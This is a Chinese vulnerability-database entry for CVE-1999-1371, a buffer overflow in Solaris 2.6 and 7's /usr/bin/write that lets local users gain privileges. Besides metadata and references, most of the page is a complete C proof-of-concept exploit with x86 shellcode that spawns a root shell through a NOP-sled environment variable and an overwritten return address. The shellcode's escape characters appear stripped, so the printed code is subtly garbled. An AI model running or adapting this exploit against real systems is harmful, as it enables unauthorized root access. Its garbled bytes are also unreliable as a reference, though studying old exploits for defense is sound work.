Solaris权限许可和访问控制漏洞

Solaris权限许可和访问控制漏洞

漏洞ID 1106184 漏洞类型 缓冲区溢出
发布时间 2001-01-25 更新时间 2001-01-25
图片[1]-Solaris权限许可和访问控制漏洞-安全小百科CVE编号 CVE-1999-1371
图片[2]-Solaris权限许可和访问控制漏洞-安全小百科CNNVD-ID CNNVD-199903-031
漏洞平台 Solaris CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/256
https://www.securityfocus.com/bid/83048
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199903-031
|漏洞详情
Solaris2.6和7版本的/usr/bin/write存在缓冲区溢出漏洞。本地用户可以通过终端名称参数的长字符串获得权限。
|漏洞EXP
#include <stdio.h>
#include <unistd.h>
/*

  /usr/bin/write overflow proof of conecpt.

  Tested on Solaris 7 x86

  Pablo Sor, Buenos Aires, Argentina. 01/2000
  [email protected]

  usage: write-exp [shell_offset] [ret_addr_offset]

  default offset should work.

*/
long get_esp() { __asm__("movl %esp,%eax"); }

char shell[] =
  "xebx45x9axffxffxffxffx07xff"
  "xc3x5ex31xc0x89x46xb7x88x46"
  "xbcx88x46x07x89x46x0cx31xc0"
  "xb0x2fxe8xe0xffxffxffx52x52"
  "x31xc0xb0xcbxe8xd5xffxffxff"
  "x83xc4x08x31xc0x50x8dx5ex08"
  "x53x8dx1ex89x5ex08x53xb0x3b"
  "xe8xbexffxffxffx83xc4x0cxe8"
  "xbexffxffxffx2fx62x69x6ex2f"
  "x73x68xffxffxffxffxffxffxff"
  "xffxff";

  /* shellcode by Cheez Whiz */

void main(int argc,char **argv)
{
  FILE *fp;
  long magic,magicret;
  char buf[100],*envi;
  int i;

  envi = (char *) malloc(1000*sizeof(char));
  memset(envi,0x90,1000);
  memcpy(envi,"SOR=",4);
  memcpy(envi+980-strlen(shell),shell,strlen(shell));
  envi[1000]=0;
  putenv(envi);

  if (argc!=3)
  {
    magicret = get_esp()+116;
    magic = get_esp()-1668;
  }
  else
  {
    magicret = get_esp()+atoi(argv[1]);
    magic = get_esp()+atoi(argv[2]);
  }

  memset(buf,0x41,100);
  buf[99]=0;
  memcpy(buf+91,&magic,4);
  for(i=0;i<22;++i) memcpy(buf+(i*4),&magicret,4);
  execl("/usr/bin/write","write","root",buf,(char *)0);
}


// milw0rm.com [2001-01-25]
|受影响的产品
Sun Solaris 2.5.1

Sun Solaris 7.0

Sun Solaris 2.6_x86

|参考资料

来源:XF
名称:solaris-write-bo(7546)
链接:http://xforce.iss.net/xforce/xfdb/7546
来源:www.securiteam.com
链接:http://www.securiteam.com/exploits/5ZP0O1P35O.html
来源:BUGTRAQ
名称:19990308Solaris”/usr/bin/write”bug
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=92100752221493&w;=2

相关推荐: OpenSSL Unseeded Random Number Generator Vulnerability

OpenSSL Unseeded Random Number Generator Vulnerability 漏洞ID 1104251 漏洞类型 Design Error 发布时间 2000-02-28 更新时间 2000-02-28 CVE编号 N/A CN…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享